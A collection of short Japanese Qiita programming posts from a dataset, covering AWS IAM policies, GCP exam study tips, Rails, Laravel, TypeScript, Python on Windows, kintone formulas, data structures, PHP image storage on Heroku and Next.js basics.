OmniAICreator/Qiita-1.07M huggingface dataset:
IAMポリシーについて

# 私のスペック
大学卒からアパレル関係の営業を6年経験後現在のSESに転職して1年ほど。
気づいたらAWSの勉強をしており、資格11冠目指したいとも思ってます。
その前にAWSエンジニアとして仕事をしたい為、更なる知識の深める際にIAMに詰まった。
SAAは合格済み

# なぜ書こうと思ったか
色々振り返ってみたらよくわかったいなかったことが多かったので
改めて復習のつもりで書く事にした。

# IAMポリシーについて
IAMアイデンティティやAWSリソースに関連付ける事によってアクセス許可を定義することができる
以下のようにJSONで定義されたポリシーをアタッチされた IAM ユーザーにのみ、このアクセス許可が付与される
```
{
  "Version": "2012-10-17",
  "Statement": {
    "Effect": "Allow",
    "Action": "dynamodb:*",
    "Resource": "arn:aws:dynamodb:us-east-2:123456789012:table/Books"
  }
}
// us-east-2 リージョン内の 123456789012 アカウントの Books テーブルに対してすべての Amazon DynamoDB アクション (dynamodb:) を実行することをユーザーに許可
```

# ポリシーのタイプについて
ポリシーにも種類が存在しており
●アイデンティティベースのポリシー
・管理ポリシー(AWS管理ポリシー・カスタマー管理ポリシー)
・インラインポリシー

●リソースベースのポリシー
・IAMロールの信頼ポリシー、S3のバケットポリシー、SNSトピックのアクセス許可、SQSキューのアクセス許可

●パーミッションバウンダリー
　・IAMアクセス許可の境界、Organizationsサービスコントロールポリシー(SCP)

●アクセスコントロールポリシー(ACL)
・S3バケットのACL、VPCのサブネットのACL
●セッションポリシー

# アイデンティティベースのポリシー
ユーザー・グループ・ロールに関連付ける
アクセス許可の境界としてアイデンティテベースポリシーの両方で許可されているものが有効となる

●管理ポリシーはAWS管理ポリシーとカスタム管理ポリシーと２つある
「ポリシー」として取り外しができ１つの管理ポリシーを多くのエンティティにアタッチできる１対多の関係
①AWS管理ポリシー
・AWSにより事前定義され管理されたポリシー。
・編集不可でAWSにより更新される。
②カスタマー管理ポリシー
・AWSアカウントで管理できるカスタムポリシー
・AWS管理ポリシーでは要件を満たせない場合に使用する
AWS管理ポリシーはあくまでざっくりと定義されているポリシーという感じ。
（例）EC2全てに対して全ての操作を許可するなど。
より細かくしたい場合などにカスタマー管理ポリシーで細かい権限を与える。
AWS管理ポリシーとカスタム管理ポリシーを複数アタッチすることも可能（最大10）

●インラインポリシー
「ポリシー」として単体で存在することができず、１つのインラインポリシーに対して
１つのエンティティに埋め込む形となり１体１の関係となる。
付与されたエンティティが削除されるとインラインポリシーも削除される
AWSではインラインポリシーではカスタマー管理ポリシーを使用することを推奨している。

# 終わりに
ポリシーはインラインポリシーではなくAWS管理ポリシーを使用するようにとAWSから推奨されてはいるが
場合によってはインラインポリシーを使う場合もあるらしい。
【2022年5月最新】GCP Professional Cloud Architectに15時間で合格する方法

# Professional Cloud Architect試験とは
- GCP（Google Cloud Platform）資格のうち、Professionalレベルに位置付けられる試験。
- GCP認定の中ではメジャーであり、一般的なGCPの能力を証明したいのであればおすすめの資格です。
- 先日合格しましたので、方法論が腐らないうちに皆さんにシェアします。
![スクリーンショット 2022-05-05 19.56.22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/171131/9709268e-73d6-42d8-1750-52d73c49a5c5.png)

# この記事を読むべき方
- 最低限の勉強で資格を取ってしまいたい方。
他にもGCP PCAの勉強法に言及している人はいらっしゃいますが、なるべく最小限の勉強となるように記載しました。
- 先に問題集を解きたい方。
私は、教科書→問題集の順で勉強するのが苦手です。先に問題を解いて不明点を調べる方が頭に入るので、今回もその勉強法を採用しています。

# 勉強前の実力
- 私は受験前からAWS資格（SAA・SAP）は保持しており、一般的なクラウドの考え方は身についています。
- ただ、これから紹介する勉強法はAWS資格を保持していなくとも有用と考えています。
理由は、流用できる知識は多くなかったからです。イメージはつきやすいものの、記憶の助けとなる程度でした。

# 勉強した教材
- 【最短攻略】Google Cloud 認定 Professional Cloud Architect 模擬問題集

https://www.udemy.com/course/google-cloud-professional-cloud-architect-i/

- この教材だけで大丈夫です。対策される前に使っちゃいましょう。
- ちなみに、関係者ではありません。念のため。

# 具体的な勉強法
- そのまま解くと全くわからないと思います。
考えても答えは出ないので、解かずに「テストを終了する」を押しちゃいます。
![スクリーンショット 2022-05-05 19.33.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/171131/bd7fa360-adfa-d732-b3c2-f48a33c948a7.png)

- そうすると解説が出てきますので、問題と答えを理解して覚えてしまいます。
![スクリーンショット 2022-05-05 19.36.50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/171131/68d239e6-f8bc-d0aa-5b4e-6e189b5ddbed.png)

- この解説はそこまで親切ではなく、解説単体で読んでもあまり理解は進みません。
わからないことをgoogleで調べながら進めてください。
- 例えば、Cloud　Audit　Logsという言葉がわからない場合、そのまま検索すれば解説ページに辿り着きます。
そこで、どのようなサービスかを理解してください。

https://cloud.google.com/logging/docs/audit?hl=ja

- ここでのポイントは、「問題を理解するのに十分な範囲内で」読み込めば十分です。
公式ドキュメントのため、相当リッチに書かれていますが、記憶の助けになる範囲内で理解すればOKです。
目安は３分くらい読んで理解できる範囲かと。
- 全ての問題に対しこの作業を完了したら、申し込んで受けてしまって大丈夫だと思います。
私の場合、ここまで約15hでした。

# 本番のテストでは
- 本番のテストではこの問題とだいぶ被って出題されます。
- カバーできない問題は、思考力でなんとか頑張りましょう。
できるだけマネージドなサービス・できるだけ手間のかからないソリューションを選んでいけばなんとかなるはずです。

ぜひご活用ください。
TypeScript の Interface と Type Alias

memo.

## 結論

「拡張性」で判断。

- アプリケーション開発時の型は、基本的に `type`
- ライブラリを開発して公開する時の公開する型は `interface`

## 参考資料

https://jp.quora.com/TypeScript%E4%BD%BF%E3%81%84%E3%81%AB%E8%B3%AA%E5%95%8F%E3%81%A7%E3%81%99-Interface%E3%81%A8Type%E3%81%AE%E4%BD%BF%E3%81%84%E5%88%86%E3%81%91%E3%81%AF%E3%81%A9%E3%81%86%E3%81%97%E3%81%A6%E3%81%84%E3%81%BE%E3%81%99

https://zenn.dev/seya/articles/aa94166c977280

https://typescriptbook.jp/reference/object-oriented/interface/interface-vs-type-alias

https://qiita.com/sotszk/items/efe32e07e52dce329653

https://zenn.dev/luvmini511/articles/6c6f69481c2d17
destroy action実行時にcouldn't Item find with 'id'=1のエラー表示

# はじめに
　実装中のフリマアプリにて、「ログイン状態の場合にのみ、自身が出品した商品情報を削除できること」という実装条件に合わせて記述したのち、商品詳細ページから削除ボタンをクリックすると、下記のエラーが発生しました。
結論、エラー内容とは関係なく、destroyアクション処理後の挙動を記述していないことが原因のようでした。
![スクリーンショット 2022-05-05 18.34.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655610/573f5dda-8eaf-f86c-a72c-578109c6f946.png)
　上記エラー文を確認すると、　「ItemsControllerに記載しているdestoroy　actionを実行したがid1が見当たらない」といった指摘がされているようでした。

# 仮説・検証

### 仮説1
　エラー文の通り、idが受け渡されていない事が原因でエラーが発生しているのではという仮説のうえ、MVCの流れに沿って下記の検証作業を行いました。

### 検証1(仮説1に対して)
　はじめに、routes.rbを確認すると、resoucesメソッドを用いてdestroyを含む7つのアクションを記述済みあることを確認しました。また、ターミナルにてrails routesを実行すると、URI Patternに:idが記載されていた為、ルーティングの問題ではないと考え、検証2に移りました。
![スクリーンショット 2022-05-05 18.54.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655610/40b5006d-55c9-25d6-a413-404b68f24d29.png)


### 検証2(仮説2に対して)
　controllerを確認すると、bofore actionにonly　optionを用いてdestoroyを指定済みであり、idは受け渡されているようでした。
![スクリーンショット 2022-05-05 19.06.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655610/ae02081a-6dd8-eff1-3e76-b13bca15fdcc.png)
　また、取得した情報に対してdestroyメソッドも記述済であり、エラー文の原因になるような箇所は見当たりませんでした。
![スクリーンショット 2022-05-05 19.08.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655610/baef919b-8c49-39bf-4925-aea768b93e66.png)

### 仮説2
　先ほどの仮説では解決できず、再度MVCの流れから再考しました。viewの処理はどうかという点について考えると、destroyアクションは処理が終わると自動的にviewsディレクトリ内のビューを呼び出すという基本を思い出しました。

### 検証1(仮説2に対して)
　redirect_toメソッドを使用し、root_pathを指定する事で、商品情報を削除する処理を正常に完了できました。
![スクリーンショット 2022-05-05 19.16.49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655610/5decc5a5-d57e-845f-aeeb-258624460ef6.png)

# おわりに
　現在プログラミングスクールの最終課題であるフリマアプリの実装を行なっており、本投稿がQiitaでの初めての投稿となりました。
複雑なエラーかと思いきや、今回のような単純ミスによるエラー経験も、改めて基礎が大事であるということを学ぶ機会になりました。未経験からのエンジニア転職ではありますが、基礎的なミスを無くす事で、より迅速で安定したアプリ開発を行えるエンジニアとしてのスタートを切り、夢に向かって常に成長し続けるクリエイティブなエンジニアに必ずなりたいと思います。
　記事内に修正すべき点等ありましたら、ご指摘いただけると幸いです。今後ともよろしくお願いします。
Python（Windows環境）のshebangについて

`shebang`とは下記プログラムの一行目にあるように。
プログラムの先頭行で`#!`ではじまるもので。

```python:helloworld.py
#!/usr/bin/python3

#HelloWorldを表示するSampleプログラム
print("Hello World!")
```

`shebang`は`Linux`や`Unix`で実行系を指定する仕組みとなりますが。

`Windows`環境にインストールされている`Pythonランチャ(py.exe)`はPythonスクリプトに記載されている`shebang`を適切に処理してくれます。

このためPythonスクリプトではWindows環境でも`shebang`を適切に利用されます。

## ドキュメント

[Windows で Python を使う](https://docs.python.org/ja/3/using/windows.html#shebang-lines)のドキュメントの中に`shebang`について記載されている部分があります。

[シェバン (shebang) 行](https://docs.python.org/ja/3/using/windows.html#shebang-lines)

`Python`ではOS間での移植を考慮して、Windowsのpythonランチャでは下記の仮想コマンドが利用できます。

- /usr/bin/env python
- /usr/bin/python
- /usr/local/bin/python
- python

たとえば`Python 3.10.4`がインストールされている環境で下記のようなバージョン3.9を指定したshebangを設定したスクリプトを`Pythonランチャ(py.exe)`で実行してみます。

```python:helloworld_shebang.py
#!/usr/bin/python3.9

#HelloWorldを表示するSampleプログラム
print("Hello World!")
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1670622/a351a220-155b-3137-c185-c08c8c31834c.png)

`Requested Python version (3.9) is not installed`と表示され実行が失敗しました。

これはPythonランチャがshebangで指定された3.9で実行しようとしたが、実行した端末にはPython 3.9がインストールされていなかったためエラーが出ています。
（該当端末に3.9もインストールされていれば問題なく実行される）

このようにPythonではWindowsでも`shebang`を設定することで、指定した処理系で処理を強制する事ができます。

## 現在インストールされているPythonバージョンのリストを確認する

```powershell
py --list
```

上記、コマンドで現在Windows環境にインストールされているPythonのバージョン一覧を表示されます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1670622/81d84237-abe8-3673-6844-940bd3ffa766.png)

上記の例では3.10の64bitがインストールされている事がわかります。

なお3.9と3.10をインストールした環境では下記のような表示となります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1670622/1e5a006e-11a5-aa47-3b32-ef66545622b4.png)

## 【余談】Pythonランチャが導入されたのでPython 3.3から

Windows環境でPythonの処理系を切り替えてくれるPythonランチャ(py.exe)について。
Pythonのバージョン3.3から追加された機能になります。

インストーラーのデフォルトオプションでは、インストールした`python.exe`に直接PATHを通さない設定となっているため。

個人的にはWindows環境の`Python`では`py.exe`を利用するのが推奨されているような気はします。

## 総評

Windows環境のPythonでも`shebang`は有効に機能するため、書きましょう。
Xcode-Iphoneシミュレータで便利ショートカット

# はじめに

アプリ製作時、機能が複雑になればなるほどIphoneシミュレータを使って挙動の確認をすることがどんどん多くなってきます。

そんな時に、これだけは知っておいた方がいいキーボードショートカットを紹介したいと思いますので、効率の良いアプリ製作を行なっていきましょう!!

| コマンド | 説明 |
|------|------|
| Cmd Shift H | ホームボタン |
| Cmd  k | iphoneキーボードの表示 |
| Cmd Shift A | ライトモード/ダークモード切り替え |

ダークモード切り替えはかなり使えます!!
随時これは知っておいた方が良いっ!!
というキーボードショートカットがあれば更新していきますので、宜しくお願いします

また、オススメショートカットあれば教えて頂けたら嬉しいです!
Glideでスマホで確認出来るサイクルの分類アプリを作成

# 商品知識に対する課題
私は小売業に従事しています。今まで色々な売場経験を積んできました。
主に接客が必要な売場経験が長いのですが、必ずついて回るのが新しく配属された売場での商品に対する知識を勉強しなければ接客すら出来ない現実です。
家電や自転車、携帯電話などは専門資格もある位なので入ったばかりの人では何も出来ないに等しい部分もあります。
マニュアルを１回１回開いていては時間も掛かります。
そこで今回はデジタルの事を学ぶ機会があり、アプリをノーコードで作成ができる**Glide**を知ることが出来ました。
そこでサイクルの分類をスマホで見れるものを作成してみましたので紹介させて頂きます。
### スマホアプリ
https://twitter.com/i/status/1522105246696484864



## 利用したツール

+ [Glide](https://go.glideapps.com/)


## 手順
`1.`Glideにて表示させる**内容**、**形**の入力。
今回はサイクルの分類と特徴についてスマホで確認出来るアプリの作成を行いました。
![スクリーンショット (13).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613547/ac64f910-38a4-d1c6-fc85-6d9c9b6086c1.png)

表示させる内容を**入力**
![スクリーンショット (14).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613547/9b6ac25e-8538-1fa8-aa11-933a5fa1eb42.png)

表示の内容を**確認**

`2.`入力、確認を繰り返し行い問題が無ければ**公開設定**へ
![スクリーンショット (15).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613547/ce50980e-fb6c-7bbb-dc54-1eece3a43c90.png)
どの範囲で公開するか、表示はどの形にするかを設定し右上の**Share**をクリックします。

QRコードが出てきますのでスマホで読み込んで利用開始出来ました。



## 検証
今回は試作段階で簡単な内容ですが、実際に動いた物を見て頂いて現場の意見を聞いてきました。
<img width="500"ait="IMG-4794.PNG" src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2613547/a9fef465-45d2-5232-d35f-d471e92dab4e.png>


1.手軽に見れるのが良い
2.操作手順がシンプルなので分かりやすい
3.初心者に使える
4.お店の品揃えや在庫とリンクして現在販売可能な種類が表示されると良い

などの意見を頂きました。
内容を充実させれれば現場での利用価値が上がる可能性を感じる事が出来きました。


## あとがき
私は今デジタルについて学び始めたばかりの初心者ですが、初心者でもアプリを作成出来たことに驚きました。
作成した内容も、それぞれの売場に変えれば初心者向けの利用や、会社のシステムとの連動が可能になり、在庫に合わせた商品提案も可能になります。
今後も色々と利用出来そうなことや、改善に繋がりそうな事にチャレンジしていきたいと思います。

最後まで読んで頂きありがとうございました。
DOMってなんぞや?

DOMってよく聞きますが全然理解していなかったので、今回はDOMについて書いていこうと思います。

# DOMとは
<font color="red">D</font>ocument <font color="red">O</font>bject <font color="red">M</font>odelの略で、WebAPIの一種。
HTMLの要素をJavascriptのオブジェクトとして操作する為の仕組みの事。

とりあえずは「DOMというものがあるからHTMLとJavascriptが使えるんだなぁ」という認識でも良いかも。

## DOMツリー
Javascriptのコードを実行する前にHTML構造からDocumentオブジェクトを頂点としたツリー構造に変換される。その構造のことをDOMツリーというらしい。

よく見かけるdocument.getElementByIdや、document.querySelectorなどで使われる<font color="red">document</font>はDOMツリーの頂点であるdocumentオブジェクトから来ている。

# 感想
名前くらいは聞いたことあってもあまり意識したことがなかったので、いい勉強になりました。
# 参照
https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction
https://www.youtube.com/watch?v=ZWrXJc2QS6w
Laravelで任意のテーブルのデータ保存をフックに共通処理を行う

## TL;DR
例えば、User, Itemテーブルなど、任意にテーブル保存時に、ログを入れたいなどそういったシーンで
共通処理をいちいちコントローラーに記載するのはかなり大変。
Traitで共通処理を記載し、LaravelのModel.phpのbootTraits()メソッドをうまく使うと実現できます。

## LaravelからEloquentクラスを調査してみる
保存をフックにするので
```
src/Illuminate/Database/Eloquent/Model.php
```
この辺を見てみる。
そうすると...

```php
    /**
     * Boot all of the bootable traits on the model.
     *
     * @return void
     */
    protected static function bootTraits()
    {
        $class = static::class;

        foreach (class_uses_recursive($class) as $trait) {
            if (method_exists($class, $method = 'boot'.class_basename($trait))) {
                forward_static_call([$class, $method]);
            }
        }
    }
```
なんと、boot + Trait名で書くと勝手に呼び出してくれるようです。

なので、これを元にTraitを作れば解決しそうです。


## 以下実装例

```php

trait Hogefuga
{
    /**
     * 保存時に共通処理をする
     *
     * @return void
     */
    protected static function bootHogefuga()
    {
        static::created(function ($model) {
            // 作成する時の共通処理
        });
    }
}
```

あとは、共通処理を挟み込みたいmodelクラスにuseしてあげればOK

```User.php
class User extends Eloquent
{
    use Hogefuga;

}
```

```Item.php
class Item extends Eloquent
{
    use Hogefuga;

}
```

## 作成時以外も対応してみる

```php
trait Hogefuga
{
    /**
     * 共通処理をする
     *
     * @return void
     */
    protected static function bootHogefuga()
    {
        static::created(function ($model) {
            // 共通処理
        });

        static::saved(function ($model) {
            // 共通処理
        });

        static::updated(function ($model) {
            // 共通処理
        });

        static::deleted(function ($model) {
            // 共通処理
        });
    }
}
```
rex0220 計算式プラグイン ボタンクリックでテーブル設定

[計算式プラグイン](https://qiita.com/rex0220/items/ae83c6d5ce50ff7a9a73)で、ボタンを表示して、ボタンクリックでテーブルを設定してみます。
追加・編集画面で、ヘッダー部・スペースエリアにボタン表示します。
※計算式プラグイン Ver.53以降でサポート

# 概要
計算式プラグインでヘッダー部・スペースエリアに計算式を指定して、ボタン表示できます。
レコード追加・編集画面でボタン表示されます。

- テーブルをクリアする例
![2022-05-05_17h52_23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100572/7549a516-f14b-3160-c323-231095d846c5.png)

- テーブルを初期設定する例
![2022-05-05_17h53_23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100572/f2901647-1ebb-1e70-ed7f-67fc001108d9.png)


# テーブルをクリアする計算式

HEADER 部に、ダイアログを表示する計算式を指定します。

```.js
DIALOG(ARRAY("活動履歴リセット1","活動履歴をリセットします"), 
FSET(見込み時期,""),
FSET(活動履歴,ARRAY("","[]"))
)
```

- DIALOG: ボタンクリック時にダイアログを表示する関数
    - ARRAY("活動履歴リセット1","活動履歴をリセットします")
        - ボタン名とダイアログに表示するテキストを指定
    - FSET(見込み時期,"")
        - 見込み時期をクリア
    - FSET(活動履歴,ARRAY("","[]"))
        - 活動履歴のテーブルをクリア。
        - テーブル行が 0 行になりますが、kintone の仕様で自動的に１行追加されます。
     

![2022-05-05_18h12_26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100572/f9365be0-d3df-73f4-bbb2-d8e5e8fd7a20.png)

#  テーブルを初期設定する計算式

HEADER 部に、ダイアログを表示する計算式を指定します。

```.js
DIALOG(
BOPT("TITLE","活動履歴リセット2",
"CSS","{'color':'blue',
'background-color':'orange'}",
"HTML","<span style='color:red;font-size:24px;'>案件情報をリセットします</span></br>
<span style='font-size:20px;'>気を付けてね! "&LOGIN_NAME() &"さん</span>"),
FSET(見込み時期,""),
FSET(活動履歴,ARRAY("","[{'活動内容':'電話','メモ':'見積もり依頼'},{'活動内容':'メール'}]"))
)
```


- DIALOG: ボタンクリック時にダイアログを表示する関数
    - BOPT(　：ボタン名とダイアログに表示するテキスト等を指定
        - "TITLE","活動履歴リセット2"　：ボタン名
        - "CSS","{'color':'blue','background-color':'orange'}"　：ボタンの色・背景色
        - "HTML",～　：ダイアログに表示するテキストを HTML で指定
    - FSET(見込み時期,"")
        - 見込み時期をクリア
    - FSET(活動履歴,ARRAY("","[{'活動内容':'電話','メモ':'見積もり依頼'},{'活動内容':'メール'}]"))
        - 活動履歴のテーブルを初期データを指定
        - 項目と値をセットで、行数分指定
   
![2022-05-05_18h23_24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100572/0334364f-05ca-68f5-3796-e4cd0d9e2a38.png)

# テーブル初期データの作成方法
テーブル初期データは、計算式ツールで簡単に作ることができます。

- レコード追加・編集画面で、初期データにするテーブルを用意
![2022-05-05_18h30_39.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100572/646c099a-8523-2071-a3a1-0ff383df5a60.png)

- 計算式ツールで、下記を実行して、初期データを作成

    - 計算式： REPLACEALL(OTVAL(活動履歴,TPOUT(活動内容,メモ)),DQUOTE(),"'")
        - REPLACEALL ："" を '' に変換
        - OTVAL ：テーブルと出力項目を指定
- 計算結果から初期データをコピペ
![2022-05-05_18h32_34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100572/59269e11-ec60-f2bb-1c30-b89324962632.png)
木構造

## 木構造
<b>階層の上位から下位に節点をたどることによって、データを取り出すことができるデータ構造。
![Tree.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/8e116606-3e49-10bc-88bc-ce227b8ce246.png)
○の部分は<font color = blue>節（ノード）</font>、節と節を繋いだ「—」の部分は<font color = blue>枝（ブランチ）</font>、最上位の節は<font color = blue>根（ルート）</font>、最下位の節は<font color = blue>葉（リーフ）</font>という。
また、上位の節を<font color = blue>親</font>、下位の節を<font color = blue>子</font>といい、節にぶら下がっている部分を<font color = blue>部分木</font>、左側を<font color = blue>左部分木</font>、右側を<font color = blue>右部分木</font>という。

## 2分木の種類
<b>全ての枝の分岐が二つ以下の木構造。
### 完全2分木
<b>根から葉までの深さが全て等しい2分木のこと。
※深さが一つだけ深い葉があり、木の左側から詰められているものも完全二分木とする。
![ALDS1_9_A_1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/cbbb7314-5190-04ba-08cb-3ca11b0813d4.png)
![20190226201354.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/221f8055-ec63-ab8c-4044-30983ce62ada.png)

### 2分探索木
<b>各節において「左の子<親<右の子」という関係をもった2分木のこと。
![col_tree0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/2fa99dbb-5359-d755-cf63-a38268b67043.png)

### ヒープ木
<b>各節において、「親＞子」「子＞親」という関係をもった完全二分木。「子＞親」の時、根の値が最小値となる。「親＞子」の時、根の値が最大値となる。
![Binary_heap_indexing.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/b7a068c6-77b6-d9af-5cc9-c346a35012b4.png)
## 逆ポーランド記法（後置記法）
<b>2分木を使って算術式を表記する方法の一つで、節に演算子、葉に被演算数を配置。
「左部分木」->「右部分木」->「節点」の順に取り出す。
![002.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/cb0daf0b-cba9-05db-65b7-74674af5dcb4.png)

### B木
<b>枝の分岐が二つ以上あり、データ挿入時は根から葉までの深さが同じになるように分割させる。
<font color = blue>B+木</font>は、葉のみにデータを持たせる
【TypeScript】 ts-node で Unknown file extension ".ts" エラーが出るとき

# 概要

`ts-node` で実行すると以下のエラーが出る場合の対処方法を残す

```bash
ts-node src/flow.ts                                                                           1 ✘  18:13:01  
TypeError [ERR_UNKNOWN_FILE_EXTENSION]: Unknown file extension ".ts" xxxx
```

https://github.com/TypeStrong/ts-node/issues/1062

# やり方

`"type": "module"`を`package.json`から削除することで実行することができるようになる

```diff_json:package.json
{
-  "type": "module",
  "name": "practice",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
```
【PHP】herokuで画像を保存

herokuでは画像が生成されません。
そのため、パスを保存して画像を表示するという方法が通用しません。

なので、DBに画像のパスを保存するのではなく、
画像のバイナリデータを保存する方法を採用します。

```index.html
<form method="post" action="../test.php" enctype="multipart/form-data">
  <input type="file" name="image_name" accept="image/*" multiple>
  <input type="submit" value="編集完了">
</form>
```
画像ファイルを選択して、編集完了ボタンを押すと`test.php`に遷移します。

```test.php
<?php
$image = base64_encode(file_get_contents($_FILES['image_name']['tmp_name']));

    $dbh = db_connect();
    $sql = "UPDATE user
            SET image = :image
            WHERE id = :user_id";
    $stmt = $dbh->prepare($sql);
    $stmt->execute(array(
      ':image' => $image,
      ':user_id' => $_SESSION['user_id'];
    ));
    reload();
?>
```
`base64_encode`で画像パスをエンコードした値をDBに保存しています。

```index.php
<img class="mypage" src="data:image/jpeg;base64,<?= $current_user["image"]; ?>">
```
src属性に`data:image/png;base64,`を指定して、DBからバイナリデータを取得すれば画像が表示されます。

# 参考URL

https://team-lab.github.io/skillup/step2/image_document.html
Pythonディープラーニングの学習

## ニューラルネットワーク

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596059/3fc8b897-cab7-7da2-3fd7-9ffa355d0fd3.png)




## CNN
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596059/8886b5d0-a15c-82a2-14b0-330afe234fdd.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596059/49969d97-9f89-5618-b7d4-0977853b1c0f.png)

## 畳み込みをニューラルネットワークに落とし込む

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596059/2b717dee-fefd-2867-9889-ec5c661ade32.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596059/fa3d3a02-ddd0-bebb-eada-880a06113ab3.png)

## プーリング
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596059/66657e6b-2e7b-3388-732b-b858943447fe.png)

※プーリングは凝縮

## 複数の特徴マップ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596059/3dae52e7-c362-dc76-4997-6b90fab6b022.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596059/0cca2caa-79dd-b49f-9986-b2dbe0dd5e60.png)

## 複数の入力(RGB)
### 出力1ch
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596059/7685b631-97f1-58ea-83a4-1b94eaf70cc5.png)

### 出力2ch
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596059/7cd0a47c-af30-68f0-1b0e-796046f1d47b.png)
キューとスタック

## キュー
<b>格納した順序でデータを取り出すことができるデータ構造。最初に格納したデータは最初に取り出す<font color = blue>FIFO(First-in First-out)</font>の特徴がある。
キューにデータを格納することを<font color = blue>エンキュー</font>、キューからデータを取り出すことを<font color = blue>デキュー</font>という。
## スタック
<b>格納した順序とは逆の順序でデータを取り出すことができるデータ構造。最後に格納したデータを最初に取り出す<font color = blue>LIFO(Last-in First-out)</font>の特徴がある。
スタックにデータを格納することを<font color = blue>プッシュ</font>、スタックからデータを取り出すことを<font color = blue>ポップ</font>という。
Next.jsの基本概要を整理した

![スクリーンショット 2022-05-03 20.22.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173182/02a71210-6ad2-bac1-cf1f-cc824486e385.png)
ずっと、プレーンなReactで開発してましたが、Next.jsを使う様になりました。Next.jsの周辺にあるSSR、BFFなどの登場人物達を一旦整理してバラバラのドットを繋いでいきたいと思います。

### そもそもNext.jsとは
ホスティングサービスのVercel製のReactフレームワーク。

主な便利ポイントは
(1) Pre Rendering
(2) ルーティングなどのサポート
(3) API Routing (9.0から)

### (1) Pre Rendering
Pre Renderingは読んで字の如く、事前にHTMLをレンダリングして、「HTMLと必要最低限のJS」をクライアントに返すこと。

##### Pre Renderingの前にClient Side Rendering（SPA）を復習
プレーンなReactで作成されるWEBページはリクエストされた際、ほぼ空のHTMLへReactがコンテンツを生成してページを描画する。つまりブラウザ側でHTMLファイルを組み立てるのがClient Side Rendering
Googleのクローラーは、Reactがコンテンツを生成する前のほぼ空のHTMLファイルを見て、低く評価してしまう。※最近は改善されつつある。
また、ブラウザが動いてる端末(スマホやPC)でHTMLファイルを組み立ててレンダリングするので、大きなサイズのJavaScriptを読み込むと遅くなり、しかも読み込むまで何も表示されない初回読み込み問題がSPAの弱点。すごく細かいところでいうと、OGPタグに対応されない、などもあります。

そんなSPAの弱点を克服するために生まれたのが**Pre Rendering**
事前にHTMLをレンダリングすることで、Googleのbotへコンテンツを正しく認識してもらえたり、スペックの高いサーバでレンダリングしてブラウザへの負荷を下げたりと、Client Side Rendering（SPA）の課題を解決できます。

##### Pre RenderingにはSSRとSSGの２種類がある
・SSR：Server Side Rendering リクエストごとにサーバーでHTMLを作成して返却する。
・SSG：Static Site Generation 言葉通り静的サイトを生成する Pre-redndering。ビルド時にAPI叩いてデータを取得する、SSRだとサーバーのセキュリティ問題を考慮する必要があるが、SSGなら不要。

サーバを持つこと自体がデメリットになりうる、そこでNext.jsの開発元であるVercelは、SSGを推奨している。

→都度リクエストを受け取ってHTMLを生成するのがSSR、デプロイ前にHTMLを生成するのがSSG

ビルド時に表示内容が決定しているページはSSG
アクセス時に表示内容が決まるページにはSSR
という風に、ページごとにSSR、SSGと使い分ける設計もOK、アプリ全体で統一させる必要はない。


##### Next.jsでSPAの開発も可能
Next.jsはSSRフレームワークだが、Pre-Renderingさせず、Client Side RenderingさせるSPAを開発する事も可能です。

### (2) ルーティングなどのサポート
pages ディレクトリにファイルが追加されたとき、ルートとして自動で使用可能になる。

pages/index.js → /
pages/blog/index.js → /blog

プレーンReactだとルーティングのために別途パッケージ入れたり面倒ですが、最初からサポートされてるので楽ですね。

### (3) API Routing
Next.jsで簡単にAPIを作れる機能で、Node.jsみたいな感じで書ける。
ただ、DBから値を取得したり、認証処理したり、といった複雑なビジネスロジックが含まれるような本格的なWebAPIがこのAPI Routingでできるのか？フルスタックフレームワークとして使えるのか？というと微妙らしい。

この機能はBFFとして使う方が向いているらしいです。
[この記事](https://parkpark.dev/posts/nextjs-api-to-bff)に詳しく載ってます

ひとまずは以上です、随時追記していきます。
